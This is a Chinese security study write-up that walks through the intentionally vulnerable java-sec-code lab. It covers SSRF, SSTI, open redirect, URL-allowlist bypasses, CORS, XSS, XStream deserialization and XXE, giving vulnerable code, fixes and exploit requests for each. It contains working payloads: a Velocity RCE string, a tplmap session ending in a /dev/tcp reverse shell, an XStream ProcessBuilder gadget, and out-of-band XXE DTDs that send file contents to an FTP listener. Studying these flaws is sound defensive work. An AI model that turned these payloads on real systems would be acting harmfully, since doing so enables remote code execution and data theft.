@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) public String URLConnectionVuln(String url) {     return HttpUtils.URLConnection(url); } 
跟进URLConnectiong(url)
public static String URLConnection(String url) {     try {         URL u = new URL(url);         URLConnection urlConnection = u.openConnection();         BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request         // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));         String inputLine;         StringBuilder html = new StringBuilder();         while ((inputLine = in.readLine()) != null) {             html.append(inputLine);         }         in.close();         return html.toString();     } catch (Exception e) {         logger.error(e.getMessage());         return e.getMessage();     } } 
直接调用了URLConnection()方法 导致存在任意文件读
http://localhost:8080/java_sec_code_war/ssrf/urlConnection/vuln?url=file:///etc/passwd 
image-20211027092620488 
修复代码如下:
@GetMapping("/urlConnection/sec") public String URLConnectionSec(String url) {     // Decline not http/https protocol     if (!SecurityUtil.isHttp(url)) {         return "[-] SSRF check failed";     }     try {         SecurityUtil.startSSRFHook();         return HttpUtils.URLConnection(url);     } catch (SSRFException | IOException e) {         return e.getMessage();     } finally {         SecurityUtil.stopSSRFHook();     } } 
首先通过isHTTP()函数来看判断是否是http和https协议,之后调用钩子去调用SocketHookFactory,具体防护在SSRFChecker.java
package org.joychou.security.ssrf; import java.net.HttpURLConnection; import java.net.InetAddress; import java.net.URI; import java.net.URL; import java.util.ArrayList; import org.apache.commons.lang.StringUtils; import org.apache.commons.net.util.SubnetUtils; import org.joychou.config.WebConfig; import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class SSRFChecker {     private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);     public static boolean checkURLFckSSRF(String url) {         if (null == url) {             return false;         }         ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains();         try {             String host = SecurityUtil.gethost(url);             // 必须http/https             if (!SecurityUtil.isHttp(url)) {                 return false;             }             if (ssrfSafeDomains.contains(host)) {                 return true;             }             for (String ssrfSafeDomain : ssrfSafeDomains) {                 if (host.endsWith("." + ssrfSafeDomain)) {                     return true;                 }             }         } catch (Exception e) {             logger.error(e.toString());             return false;         }         return false;     }     /**      * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。      * url只允许https或者http,并且设置默认连接超时时间。      * 该修复方案会主动请求重定向后的链接。      *      * @param url        check的url      * @param checkTimes 设置重定向检测的最大次数,建议设置为10次      * @return 安全返回true,危险返回false      */     public static boolean checkSSRF(String url, int checkTimes) {         HttpURLConnection connection;         int connectTime = 5 * 1000;  // 设置连接超时时间5s         int i = 1;         String finalUrl = url;         try {             do {                 // 判断当前请求的URL是否是内网ip                 if (isInternalIpByUrl(finalUrl)) {                     logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);                     return false;  // 内网ip直接return,非内网ip继续判断是否有重定向                 }                 connection = (HttpURLConnection) new URL(finalUrl).openConnection();                 connection.setInstanceFollowRedirects(false);                 connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL                 connection.setConnectTimeout(connectTime);                 //connection.setRequestMethod("GET");                 connection.connect(); // send dns request                 int responseCode = connection.getResponseCode(); // 发起网络请求                 if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {                     String redirectedUrl = connection.getHeaderField("Location");                     if (null == redirectedUrl)                         break;                     finalUrl = redirectedUrl;                     i += 1;  // 重定向次数加1                     logger.info("redirected url: " + finalUrl);                     if (i == checkTimes) {                         return false;                     }                 } else                     break;             } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);             connection.disconnect();         } catch (Exception e) {             return true;  // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。         }         return true; // 默认返回true     }     /**      * 判断一个URL的IP是否是内网IP      *      * @return 如果是内网IP,返回true;非内网IP,返回false。      */     public static boolean isInternalIpByUrl(String url) {         String host = url2host(url);         if (host.equals("")) {             return true; // 异常URL当成内网IP等非法URL处理         }         String ip = host2ip(host);         if (ip.equals("")) {             return true; // 如果域名转换为IP异常,则认为是非法URL         }         return isInternalIp(ip);     }     /**      * 使用SubnetUtils库判断ip是否在内网网段      *      * @param strIP ip字符串      * @return 如果是内网ip,返回true,否则返回false。      */     static boolean isInternalIp(String strIP) {         if (StringUtils.isEmpty(strIP)) {             logger.error("[-] SSRF check failed. IP is empty. " + strIP);             return true;         }         ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps();         for (String subnet : blackSubnets) {             SubnetUtils utils = new SubnetUtils(subnet);             if (utils.getInfo().isInRange(strIP)) {                 logger.error("[-] SSRF check failed. Internal IP: " + strIP);                 return true;             }         }         return false;     }     /**      * host转换为IP      * 会将各种进制的ip转为正常ip      * 167772161转换为10.0.0.1      * 127.0.0.1.xip.io转换为127.0.0.1      *      * @param host 域名host      */     private static String host2ip(String host) {         try {             InetAddress IpAddress = InetAddress.getByName(host); //  send dns request             return IpAddress.getHostAddress();         } catch (Exception e) {             return "";         }     }     /**      * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。      *      * @param url http的url      */     private static String url2host(String url) {         try {             // 使用URI,而非URL,防止被绕过。             URI u = new URI(url);             if (SecurityUtil.isHttp(url)) {                 return u.getHost();             }             return "";         } catch (Exception e) {             return "";         }     } } 
15.SSTI ssti服务端模板注入,ssti主要为python的一些框架 jinja2、 mako tornado 、django,PHP框架smarty twig,java框架FreeMarker、jade、 velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
核心代码:
@GetMapping("/velocity") public void velocity(String template) {     Velocity.init();     VelocityContext context = new VelocityContext();     context.put("author", "Elliot A.");     context.put("address", "217 E Broadway");     context.put("phone", "555-1337");     StringWriter swOut = new StringWriter();     Velocity.evaluate(context, swOut, "test", template); } 
访问URL:
http://192.168.137.16:8080/java_sec_code_war/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) 
image-20211027143734728 
也可以使用https://github.com/epinna/tplmap来验证 
git clone https://github.com/epinna/tplmap python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa' 
[+] Testing if GET parameter 'template' is injectable [+] Smarty plugin is testing rendering with tag '*' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' [+] Mako plugin is testing blind injection [+] Python plugin is testing rendering with tag 'str(*)' [+] Python plugin is testing blind injection [+] Tornado plugin is testing rendering with tag '{{*}}' [+] Tornado plugin is testing blind injection [+] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin is testing blind injection [+] Twig plugin is testing rendering with tag '{{*}}' [+] Twig plugin is testing blind injection [+] Freemarker plugin is testing rendering with tag '*' [+] Freemarker plugin is testing blind injection [+] Velocity plugin is testing rendering with tag '*' [+] Velocity plugin is testing blind injection [+] Velocity plugin has confirmed blind injection [+] Tplmap identified the following injection point:   GET parameter: template   Engine: Velocity   Injection: *   Context: text   OS: undetected   Technique: blind   Capabilities:    Shell command execution: ok (blind)    Bind and reverse shell: ok    File write: ok (blind)    File read: no    Code evaluation: no [+] Blind injection has been found and command execution will not produce any output. [+] Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not. [+] Run commands on the operating system.  (blind) $ id True  (blind) $ whoami True  (blind) $ bash -i >& /dev/tcp/reverse_ip/2333 0>&1 
修复意见:
针对于不同的模板引擎,该漏洞的修复方法会有所不同,但如果在传递给模板指令之前,对用户输入进行安全过滤的话,则可以大大减少这类威胁。此外,另一种防御方法是使用沙箱环境,将危险的指令删除/禁用,或者对系统环境进行安全加固。
白头搔更短,SSTI惹人心 16.URLRedirect url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的url则会造成钓鱼。
url跳转常见的地方
1. 登陆跳转我认为是最常见的跳转类型,认证完后会跳转,所以在登陆的时候建议多观察url参数 2. 用户分享、收藏内容过后,会跳转 3. 跨站点认证、授权后,会跳转 4. 站内点击其它网址链接时,会跳转 5. 在一些用户交互页面也会出现跳转,如请填写对客服评价,评价成功跳转主页,填写问卷,等等业务,注意观察url。 6. 业务完成后跳转这可以归结为一类跳转,比如修改密码,修改完成后跳转登陆页面,绑定银行卡,绑定成功后返回银行卡充值等页面,或者说给定一个链接办理VIP,但是你需要认证身份才能访问这个业务,这个时候通常会给定一个链接,认证之后跳转到刚刚要办理VIP的页面。 
url跳转常用到的参数
redirect url redirectUrl callback return_url toUrl ReturnUrl fromUrl redUrl request redirect_to redirect_url jump jump_to target to goto link linkto domain oauth_callback 
核心代码:
重定向跳转:
@GetMapping("/redirect") public String redirect(@RequestParam("url") String url) {     return "redirect:" + url; } 
301跳转:
@RequestMapping("/setHeader") @ResponseBody public static void setHeader(HttpServletRequest request, HttpServletResponse response) {     String url = request.getParameter("url");     response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect     response.setHeader("Location", url); } 
302跳转:
@RequestMapping("/sendRedirect") @ResponseBody public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {     String url = request.getParameter("url");     response.sendRedirect(url); // 302 redirect } 
修复方式:
只能内部跳转
@RequestMapping("/forward") @ResponseBody public static void forward(HttpServletRequest request, HttpServletResponse response) {     String url = request.getParameter("url");     RequestDispatcher rd = request.getRequestDispatcher(url);     try {         rd.forward(request, response);     } catch (Exception e) {         e.printStackTrace();     } } 
通过checkURL去检查输入的参数
    @RequestMapping("/sendRedirect/sec")     @ResponseBody     public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response)             throws IOException {         String url = request.getParameter("url");         if (SecurityUtil.checkURL(url) == null) {             response.setStatus(HttpServletResponse.SC_FORBIDDEN);             response.getWriter().write("url forbidden");             return;         }         response.sendRedirect(url);     } } 
跟进
/**  * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。  * 优先判断黑名单,如果满足黑名单return null。  *  * @param url the url need to check  * @return Safe url returns original url; Illegal url returns null;  */ public static String checkURL(String url) {     if (null == url){         return null;     }     ArrayList<String> safeDomains = WebConfig.getSafeDomains();     ArrayList<String> blockDomains = WebConfig.getBlockDomains();     try {         String host = gethost(url);         // 必须http/https         if (!isHttp(url)) {             return null;         }         // 如果满足黑名单返回null         if (blockDomains.contains(host)){             return null;         }         for(String blockDomain: blockDomains) {             if(host.endsWith("." + blockDomain)) {                 return null;             }         }         // 支持多级域名         if (safeDomains.contains(host)){             return url;         }         // 支持一级域名         for(String safedomain: safeDomains) {             if(host.endsWith("." + safedomain)) {                 return url;             }         }         return null;     } catch (NullPointerException e) {         logger.error(e.toString());         return null;     } } 
检测相关url是否在自己配置中,若不在则返回NULL
17.URLWhiteList 1.前言 安全工程师:接口需要验证参数中的URL是否是内部域名。
如果不使用已经写好的安全框架,真正让开发去添加一个URL白名单,我相信不少人会出现不同程度的安全问题。
所以,我觉得有必要单独拿出来简单说下这个问题。
2.可造成的漏洞 和URL有关系的漏洞,我们可以联想到包括但不局限于下面的漏洞
CSRF JSONP SSRF URL跳转 绕过CORS(跨域资源分享) 3.Bypass Poc及实际案例 先来看一下应该如何安全验证:
先来看下应该如何安全验证:
但是,在实际的甲方安全中,很多开发者会犯以下的一些错误。
1.endsWith Bypass Poc:
案例:
绕过的poc
Referer: https://www.joychoualitrip.com/mytrip/ 
针对JSONP,这里提一个比较有趣的问题。有的接口返回是JSON,非JSONP的格式,但是由于开发者写了一个callback参数(但是流量里并未出现)。所以在自动动扫描漏洞时,扫描器可加上callback、cback等参数,可能会有意想不到的收获。
比如:http://www.alitrip.com/order?id=1返回JSON格式,所以并不存在JSON劫持。但是访问http://www.alitrip.com/order?id=1&callback=xxx可能就会返回JSONP格式,从而可能存在JSON劫持漏洞。
核心代码:
@GetMapping("/vuln/endsWith")  public String endsWith(@RequestParam("url") String url) {      String host = SecurityUtil.gethost(url);      for (String domain : domainwhitelist) {          if (host.endsWith(domain)) {              return "Good url.";          }      }      return "Bad url.";  } 
访问
http://localhost:8080/java_sec_code_war/url/vuln/endsWith?url=http://aaajoychou.org 
image-20211027151121258 
2.contains 取出一级域名。判断一级域名在白名单列表里使用contains判断
Bypass POC:
joychou.com.bypass.com bypassjoychou.com 
核心代码:
@GetMapping("/vuln/contains") public String contains(@RequestParam("url") String url) {     String host = SecurityUtil.gethost(url);     for (String domain : domainwhitelist) {         if (host.contains(domain)) {             return "Good url.";         }     }     return "Bad url."; } 
访问
http://localhost:8080/java_sec_code_war/url/vuln/contains?url=http://joychou.org.bypass.com 
image-20211027151454711 
3.statsWith 取出一级域名,判断一级域名在白名单列表里使用startsWith判断
Bypass Poc:
这种域名后缀虽然不存在,造成无法利用。但是在实际的测试中,确实发现某大公司是以这样的方式写的代码。所以说,如果没有规范,什么样的逻辑代码都能写出来。
4.正则表达式 用正则表达式去匹配URL中是否存在www.joychou.com字符串
www.joychou.com.bypass.com 
还有的URL接口验证是否是图片链接,但是验证的方式居然是用正则匹配是否以类似.800*600.结尾。
Bypass Poc:
www.joychou.com/_4528x2020.php 
用正则判断host是否是域名
Bypass Poc:
案例:
所以我们可以利用xip.io进行Bypass。
核心代码:
@GetMapping("/vuln/regex") public String regex(@RequestParam("url") String url) {     String host = SecurityUtil.gethost(url);     Pattern p = Pattern.compile("joychouorg");     Matcher m = p.matcher(host);     if (m.find()) {         return "Good url.";     } else {         return "Bad url.";     } } 
访问:
image-20211027151840814 
5.正则匹配URL是否以.joychou.com 正则为.*\\.joychou.com$的情况,之前的这两种xxx.xxxjoychou.com和xxx.joychou.com.xxx都不能绕过了。
Bypass Poc:
www.baidu.com/?xxx.joychou.com 
4.安全代码和测试环境 安全代码逻辑很简单:
方法调用:
String[] urlwhitelist = {"joychou.com" , "joychou.me" }; if  (!UrlSecCheck(url, urlwhitelist)) {    return ; }    
方法代码:
需要先添加guava库(目的是获取一级域名)
<dependency >     <groupId > com.google.guava</groupId >      <artifactId > guava</artifactId >      <version > 21.0</version >  </dependency > public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {     try {         URL u = new URL(url);         // 只允许http和https的协议         if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {             return  false;         }         // 获取域名,并转为小写         String host = u.getHost().toLowerCase();         // 获取一级域名         String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();         for (String whiteurl: urlwhitelist){             if (rootDomain.equals(whiteurl)) {                 return true;             }         }         return false;     } catch (Exception e) {         return false;     } } 
核心代码:
@GetMapping("/sec") public String sec(@RequestParam("url") String url) {     String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};     if (!SecurityUtil.isHttp(url)) {         return "SecurityUtil is not http or https";     }     String host = SecurityUtil.gethost(url);     for (String whiteHost: whiteDomainlists){         if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {             return url;         } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {             return url;         }     }     return "Bad url."; } @GetMapping("/sec/array_indexOf") public String sec_array_indexOf(@RequestParam("url") String url) {     // Define muti-level host whitelist.     ArrayList<String> whiteDomainlists = new ArrayList<>();     whiteDomainlists.add("bbb.joychou.org");     whiteDomainlists.add("ccc.bbb.joychou.org");     if (!SecurityUtil.isHttp(url)) {         return "SecurityUtil is not http or https";     }     String host = SecurityUtil.gethost(url);     if (whiteDomainlists.indexOf(host) != -1) {         return "Good url.";     }     return "Bad url."; } 
5.CORS绕过 先来看看Access-Control-Allow-Origin的使用。一般有两种方式设置该值:
域名设置test.joychou.org如下,表示该域名只接受来自http://blacktech.com的请求。
add_header  Access-Control-Allow-Origin 'http://blacktech.com'; 
本地写一份请求test.joychou.org的代码,保存为1.html
<html> test <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script> <script>         $.ajax({         type: 'GET',         url: 'http://test.joychou.org',         success: function (data) {             alert(data);             console.log('Yeah! Load Success.');         },         error: function (error) {             alert('Oh,no! Load Failed.');         }     }); </script> </html> 
请求http://localhost/1.html报错如下:
Failed to load http://test.joychou.org/: The 'Access-Control-Allow-Origin' header has a value 'http://blacktech.com' that is not equal to the supplied origin. Origin 'http://localhost' is therefore not allowed access. 
改下/etc/hosts,把 localhost 改成 blacktech.com,请求http://blacktech.com/1.html就不会报错了,而且能获取到http://test.joychou.org  的返回内容It works.
我们来看看origin,这个值和Referer一样,前端不能设置,如果http://baidu.com对http://test.joychou.org发起一个跨域请求,那么origin的值就为http://baidu.com。
那么问题来了,如果Access-Control-Allow-Origin设置的域名能被绕过,那么用请求header里的origin绕即可。绕过后,就能获取接口的数据,和JSONP一样。
18.XSS XSS作者提供了两种利用场景
核心代码:
@RequestMapping("/reflect") @ResponseBody public static String reflect(String xss) {     return xss; } 
访问:
http://localhost:8080/java_sec_code_war/xss/reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E 
image-20211027153333287 
这里还展示一种将XSS语句带入cookie,然后在其他处调出造成XSS的可能性
@RequestMapping("/stored/store") @ResponseBody public String store(String xss, HttpServletResponse response) {     Cookie cookie = new Cookie("xss", xss);     response.addCookie(cookie);     return "Set param into cookie"; } @RequestMapping("/stored/show") @ResponseBody public String show(@CookieValue("xss") String xss) {     return xss; } 
依次访问:
http://localhost:8080/java_sec_code_war/xss/stored/store?xss=%3Cscript%3Ealert(1)%3C/script%3E http://localhost:8080/java_sec_code_war/xss/stored/show 
image-20211027153527388 
修复代码:
@RequestMapping("/safe") @ResponseBody public static String safe(String xss) {     return encode(xss); } private static String encode(String origin) {     origin = StringUtils.replace(origin, "&", "&");     origin = StringUtils.replace(origin, "<", "<");     origin = StringUtils.replace(origin, ">", ">");     origin = StringUtils.replace(origin, "\"", """);     origin = StringUtils.replace(origin, "'", "'");     origin = StringUtils.replace(origin, "/", "/");     return origin; } 
将特殊字符进行转译
19.XStreamRCE XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。
Xstream具有以下优点
使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。 性能 - XStream快速和低内存占用,适合于大对象图或系统。 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。 另一种输出格式 - XStream支持其它的输出格式,如JSON。 核心代码:
    @PostMapping("/xstream")     public String parseXml(HttpServletRequest request) throws Exception {         String xml = WebUtils.getRequestBody(request);         XStream xstream = new XStream(new DomDriver());         xstream.fromXML(xml);         return "xstream";     }     public static void main(String[] args) {         User user = new User();         user.setId(0);         user.setUsername("admin");         XStream xstream = new XStream(new DomDriver());         String xml = xstream.toXML(user); // Serialize         System.out.println(xml);         user = (User) xstream.fromXML(xml); // Deserialize         System.out.println(user.getId() + ": " + user.getUsername());     } } 
构造请求包如下
POST /java_sec_code_war/xstream HTTP/1.1 Host: test.ol4three.com:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=7BBEAB4E7FC8E7B10575631B0CA5413C; XSRF-TOKEN=820fd620-2c78-424b-a852-93ca40553975; remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A Connection: close Content-Type: application/xml Content-Length: 445 <sorted-set>     <string>foo</string>   <dynamic-proxy> <!-- -->     <interface>java.lang.Comparable</interface>     <handler class="java.beans.EventHandler">       <target class="java.lang.ProcessBuilder">         <command>           <string>open</string>           <string>/System/Applications/Calculator.app</string>         </command>       </target>       <action>start</action>     </handler>   </dynamic-proxy> </sorted-set> 
image-20211027154504421 
CVE-2020-26217 | XStream远程代码执行漏洞 通过XStream对象反序列化的RCE Xstream 反序列化远程代码执行漏洞深入分析 20.XXE XXE(XML外部实体注入、XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。
核心代码:
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) public String DocumentBuilderVuln01(HttpServletRequest request) {     try {         String body = WebUtils.getRequestBody(request);         logger.info(body);         DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();         DocumentBuilder db = dbf.newDocumentBuilder();         StringReader sr = new StringReader(body);         InputSource is = new InputSource(sr);         Document document = db.parse(is);  // parse xml         // 遍历xml节点name和value         StringBuilder buf = new StringBuilder();         NodeList rootNodeList = document.getChildNodes();         for (int i = 0; i < rootNodeList.getLength(); i++) {             Node rootNode = rootNodeList.item(i);             NodeList child = rootNode.getChildNodes();             for (int j = 0; j < child.getLength(); j++) {                 Node node = child.item(j);                 buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));             }         }         sr.close();         return buf.toString();     } catch (Exception e) {         logger.error(e.toString());         return EXCEPT;     } } 
有回显的利用方式
输入对应的payload:
POST /java_sec_code_war/xxe/DocumentBuilder/vuln01 HTTP/1.1 Host: test.ol4three.com:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; XSRF-TOKEN=3693dcbc-f423-4c8b-af53-98bcbc639d8c; JSESSIONID=598DC30E191F87CCFD005A39436FD289; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A Connection: close Content-Type: application/xml Content-Length: 167 <?xml version="1.0" encoding="UTF-8"?> <book id="1">		 	<name>Good Job</name>		 	<author>ol4three</author>		 	<year>2021</year>		 	<price>100.00</price>	 </book> 
image-20211027163512520 
利用file协议读取文件:
POST /java_sec_code_war/xxe/DocumentBuilder/vuln01 HTTP/1.1 Host: test.ol4three.com:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; XSRF-TOKEN=3693dcbc-f423-4c8b-af53-98bcbc639d8c; JSESSIONID=598DC30E191F87CCFD005A39436FD289; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A Connection: close Content-Type: application/xml Content-Length: 131 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE joychou [     <!ENTITY xxe SYSTEM "file:///tmp/111.txt"> ]> <root>&xxe;</root> 
image-20211027163556622 
在 XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
image-20211027164028767 
╰─$ cat 111.txt ol4three 1111 ~!@#%^%'"> 2222 <%& 
image-20211027164104470 
CDATA CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。
CDATA 部分由"<![CDATA["开始,由"]]>"结束
简单一点的来说,将脚本代码定义为CDATA后,CDATA部分中的内容就会被解析器忽略,这个时候就可以读取文件了。
1.有回显 本地主机:CDATA Payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA[">   <!ENTITY % goodies SYSTEM "file:///tmp/1.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://test.ol4three.com:800/evil.dtd"> %dtd;]> <roottag>&all;</roottag> 
本地主机:evil.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;"> 
但我在测试用CDATA,并没有读取<&成功
2.Bind 无回显 payloads:
没有ENTITY关键字,可以用来Bypass WAF 
<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd"> 
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.org/evil.dtd">%remote;]> <root/> 
evil.dtd代码:
<!ENTITY % payload SYSTEM "file:///etc/redhat-release"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://fakeuser:fakepass@test.joychou.org:2121/%payload;'>"> %int; %trick; 
或者将%payload;放在ftp的username或者password处。如果ftp不跟用户名或者密码ftp://test.joychou.org:2121/%payload;,利用FTP协议会接收到Java的版本。
New client connected < USER anonymous < PASS Java1.8.0_121@ < TYPE I < EPSV ALL < EPSV < EPRT |1|172.17.29.150|60731| < RETR test < xxe < ftp 
FTP Server代码:
require 'socket' server = TCPServer.new 2121 loop do   Thread.start(server.accept) do |client|     puts "New client connected"     data = ""     client.puts("220 xxe-ftp-server")     loop {         req = client.gets()         puts "< "+req         if req.include? "USER"             client.puts("331 password please - version check")         else            #puts "> 230 more data please!"             client.puts("230 more data please!")         end     }   end end 
测试的结果(Centos):
Java版本 是否能读换行 被截断的字符 其他报错的字符(什么都不能读) 被替换成换行的字符 1.7.0_80 是 # ? % & ‘ / 1.8.0_121 是 # ? % & ‘ / 1.8.0_181 否 # ? % & ‘ / 
可能还有其他的字符和其他的Java版本没有测试。不过我猜测,自从Java 1.8的某个版本起,就不能读取换行。至于是那个版本开始,就不具体测试了,大家知道这个特性就好 -)
也可以把FTP换成HTTP协议,更加直观
3.支持的Xinclude的XXE POC
<?xml version="1.0" ?> <root xmlns:xi="http://www.w3.org/2001/XInclude">  <xi:include href="file:///etc/passwd" parse="text"/> </root> 
详情可以查看浅析xml之xinclude & xslt 
各平台支持协议如下: 我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:
image-20211027165310121 
JAVA常见的XXE漏洞写法和防御 Java-XXE-总结 Java_XXE_漏洞 0x03 参考 https://github-wiki-see.page/m/JoyChou93/java-sec-code/wiki/ 
https://shangzeng.club/2020/12/14/JavaSecCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#CRLF%E6%B3%A8%E5%85%A5